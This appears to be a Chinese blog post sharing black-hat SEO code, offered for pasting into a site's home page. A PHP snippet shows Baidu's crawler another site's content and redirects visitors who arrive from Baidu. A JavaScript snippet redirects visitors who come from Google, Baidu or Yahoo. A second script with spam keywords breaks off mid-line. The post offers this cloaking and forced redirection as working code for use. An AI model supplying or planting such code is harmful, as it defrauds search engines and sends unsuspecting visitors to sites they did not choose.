一些關於黑帽的代碼?快照劫持、跳轉、嵌入式網站

PHP快照劫持代碼

<?php     //只複製中間部分進入index(首頁)中就可以了因爲這<?php ?>就是一個完整的PHP包含

if (ereg("http://www.baidu.com/search/spider.htm", $_SERVER["HTTP_USER_AGENT"])) {
        //判斷搜索引擎,執行跳轉,這裏判斷的是百度。
		
$file = file_get_contents('http://www.hao123.com'); 
echo $file;//提供給百度蜘蛛抓取的頁面,也就是快照。
exit;
}
//判斷如果用戶來自百度搜索,那麼跳轉
if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) {
Header("Location: http://www.hao123.com/");//指定跳轉
exit;  
}

?>

HTML靜態網頁快照劫持代碼

//也是放在頭部

<script LANGUAGE="Javascript">
var s=document.referrer
if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 ) 
location.href="http://www.163.com/";
</script>
<script LANGUAGE="Javascript">
  var message = new Array();
  message[0] = "嬰用品招商平臺|母嬰用品加盟|母嬰洗護招商| 母嬰用品十大品牌";
  var reps = 1;
  var speed = 0;// Set the overall typing speed (larger number = slower action).
  var hold = 4111111 // set the length of time to display the who
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章